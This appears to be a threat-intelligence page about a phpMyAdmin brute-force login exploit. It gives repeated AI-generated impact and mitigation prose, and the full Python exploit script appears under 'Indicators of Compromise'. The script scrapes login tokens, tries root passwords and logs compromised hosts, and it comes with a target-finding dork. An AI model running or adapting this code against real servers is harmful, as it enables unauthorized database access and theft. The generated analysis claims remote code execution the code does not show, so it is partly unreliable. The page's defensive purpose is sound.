PHPMyAdmin 3.0 - Bruteforce Login Bypass
PHPMyAdmin 3.0 - Bruteforce Login Bypass
AI Analysis
Technical Summary
The reported security threat concerns a critical exploit targeting PHPMyAdmin version 3.0, a widely used web-based MySQL database administration tool. The vulnerability enables attackers to bypass the login authentication mechanism via brute force methods, effectively allowing unauthorized remote access to the database management interface. This bypass could lead to remote code execution (RCE), as indicated by the tags and exploit characteristics, enabling attackers to execute arbitrary commands on the underlying server. The exploit is implemented in Python, which suggests automation capabilities for attackers to conduct rapid and repeated login attempts. PHPMyAdmin 3.0 is an outdated version, lacking recent security patches, which increases the risk for organizations still running legacy systems. The absence of a CVSS score necessitates an independent severity assessment, which is critical due to the potential for full system compromise. The exploit's remote nature and the lack of required user interaction make it highly dangerous. The threat is particularly concerning for environments where PHPMyAdmin interfaces are exposed to untrusted networks without adequate access controls. The lack of available patches or mitigations in the provided data underscores the urgency for organizations to upgrade or isolate vulnerable instances. This vulnerability could be exploited to steal sensitive data, alter database contents, or disrupt services, severely impacting organizational operations and data integrity.
Potential Impact
For European organizations, this exploit poses a significant threat to the confidentiality, integrity, and availability of database systems managed via PHPMyAdmin 3.0. Unauthorized access could lead to data breaches involving sensitive personal, financial, or operational data, violating GDPR and other data protection regulations. Integrity of critical databases could be compromised through unauthorized modifications or deletions, potentially disrupting business processes and causing financial losses. Availability risks include denial of service through malicious commands or resource exhaustion. The potential for remote code execution further elevates the threat, as attackers could leverage compromised servers to move laterally within networks, escalate privileges, or deploy ransomware. Organizations in sectors such as finance, healthcare, government, and critical infrastructure are particularly vulnerable due to their reliance on database integrity and confidentiality. Legacy systems running outdated PHPMyAdmin versions are at highest risk, especially if exposed to the internet or insufficiently segmented internal networks. The exploit's automation capability increases the likelihood of widespread attacks if not mitigated promptly.
Mitigation Recommendations
1. Immediate upgrade of PHPMyAdmin installations to the latest supported version to eliminate the vulnerability. 2. If upgrading is not immediately feasible, restrict access to PHPMyAdmin interfaces using network-level controls such as VPNs, IP whitelisting, or firewall rules to limit exposure. 3. Implement strong authentication mechanisms, including multi-factor authentication (MFA), to reduce the risk of brute force attacks. 4. Monitor access logs for unusual login attempts or patterns indicative of brute force activity and respond promptly. 5. Employ web application firewalls (WAFs) to detect and block automated brute force attempts targeting PHPMyAdmin. 6. Conduct regular security audits and vulnerability assessments focusing on legacy systems and exposed management interfaces. 7. Educate system administrators about the risks of running outdated software and enforce strict patch management policies. 8. Isolate database management interfaces from public networks wherever possible to reduce attack surface. 9. Backup critical databases regularly and verify the integrity of backups to enable recovery in case of compromise.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Poland
Indicators of Compromise
- exploit-code: """ Exploit-Title: PHPMyAdmin 3.0 - Bruteforce Login Bypass Author: Nikola Markovic (badgerinc23@gmail.com) Date: 2023 Google-Dork: intext: phpMyAdmin Vendor: https://www.phpmyadmin.net/ Version: >3.0 & 4.3.x before 4.3.13.2 and 4.4.x before 4.4.14.1 Tested on: win/linux/unix Python-Version: 3.0 CVE : CVE-2015-6830 """ import urllib.request import urllib.parse import urllib import threading import http.cookiejar import re import sys def CheckLogin(target): passwords = ["123"] try: for password in passwords: print("Try Host: "+target+" with Combo: root/"+password+"!\n") load_token = urllib.request.Request(target) fetch_token = urllib.request.urlopen(load_token,timeout=2).read() token = re.findall(r'name="token" value="([\w\.-]+)"',fetch_token.decode('utf-8')) # token fetching session = re.findall(r'name="set_session" value="([\w\.-]+)"',fetch_token.decode('utf-8')) ## session token fetching login_data = urllib.parse.urlencode({ 'pma_username': "root", 'pma_password': password,'set_session': session[0], 'token':token}) ## injecting payload to bruteforce login = login_data.encode() cookies = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookies)) do_it = opener.open(target,login,timeout=2) check = do_it.read() if b"index.php?route=/logout" in check: f = open('bruted_pma','a') f.write(target+" Bruted: root/"+password+"\n") f.close() except: pass if sys.argv[1]: t = threading.Thread(target=CheckLogin,args=(str(sys.argv[1]),)) if threading.active_count() < 500: t.start() else: t.start() t.join()
PHPMyAdmin 3.0 - Bruteforce Login Bypass
Description
PHPMyAdmin 3.0 - Bruteforce Login Bypass
AI-Powered Analysis
Technical Analysis
The reported security threat concerns a critical exploit targeting PHPMyAdmin version 3.0, a widely used web-based MySQL database administration tool. The vulnerability enables attackers to bypass the login authentication mechanism via brute force methods, effectively allowing unauthorized remote access to the database management interface. This bypass could lead to remote code execution (RCE), as indicated by the tags and exploit characteristics, enabling attackers to execute arbitrary commands on the underlying server. The exploit is implemented in Python, which suggests automation capabilities for attackers to conduct rapid and repeated login attempts. PHPMyAdmin 3.0 is an outdated version, lacking recent security patches, which increases the risk for organizations still running legacy systems. The absence of a CVSS score necessitates an independent severity assessment, which is critical due to the potential for full system compromise. The exploit's remote nature and the lack of required user interaction make it highly dangerous. The threat is particularly concerning for environments where PHPMyAdmin interfaces are exposed to untrusted networks without adequate access controls. The lack of available patches or mitigations in the provided data underscores the urgency for organizations to upgrade or isolate vulnerable instances. This vulnerability could be exploited to steal sensitive data, alter database contents, or disrupt services, severely impacting organizational operations and data integrity.
Potential Impact
For European organizations, this exploit poses a significant threat to the confidentiality, integrity, and availability of database systems managed via PHPMyAdmin 3.0. Unauthorized access could lead to data breaches involving sensitive personal, financial, or operational data, violating GDPR and other data protection regulations. Integrity of critical databases could be compromised through unauthorized modifications or deletions, potentially disrupting business processes and causing financial losses. Availability risks include denial of service through malicious commands or resource exhaustion. The potential for remote code execution further elevates the threat, as attackers could leverage compromised servers to move laterally within networks, escalate privileges, or deploy ransomware. Organizations in sectors such as finance, healthcare, government, and critical infrastructure are particularly vulnerable due to their reliance on database integrity and confidentiality. Legacy systems running outdated PHPMyAdmin versions are at highest risk, especially if exposed to the internet or insufficiently segmented internal networks. The exploit's automation capability increases the likelihood of widespread attacks if not mitigated promptly.
Mitigation Recommendations
1. Immediate upgrade of PHPMyAdmin installations to the latest supported version to eliminate the vulnerability. 2. If upgrading is not immediately feasible, restrict access to PHPMyAdmin interfaces using network-level controls such as VPNs, IP whitelisting, or firewall rules to limit exposure. 3. Implement strong authentication mechanisms, including multi-factor authentication (MFA), to reduce the risk of brute force attacks. 4. Monitor access logs for unusual login attempts or patterns indicative of brute force activity and respond promptly. 5. Employ web application firewalls (WAFs) to detect and block automated brute force attempts targeting PHPMyAdmin. 6. Conduct regular security audits and vulnerability assessments focusing on legacy systems and exposed management interfaces. 7. Educate system administrators about the risks of running outdated software and enforce strict patch management policies. 8. Isolate database management interfaces from public networks wherever possible to reduce attack surface. 9. Backup critical databases regularly and verify the integrity of backups to enable recovery in case of compromise.
Affected Countries
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Technical Details
- Edb Id
- 52414
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for PHPMyAdmin 3.0 - Bruteforce Login Bypass
""" Exploit-Title: PHPMyAdmin 3.0 - Bruteforce Login Bypass Author: Nikola Markovic (badgerinc23@gmail.com) Date: 2023 Google-Dork: intext: phpMyAdmin Vendor: https://www.phpmyadmin.net/ Version: >3.0 & 4.3.x before 4.3.13.2 and 4.4.x before 4.4.14.1 Tested on: win/linux/unix Python-Version: 3.0 CVE : CVE-2015-6830 """ import urllib.request import urllib.parse import urllib import threading import http.cookiejar import re import sys def CheckLogin(target): passwords = ["123"] try: for passw... (1139 more characters)
Threat ID: 68a3d92dad5a09ad00eed715
Added to database: 8/19/2025, 1:53:49 AM
Last enriched: 11/11/2025, 2:09:25 AM
Last updated: 12/5/2025, 2:22:09 AM
Views: 750
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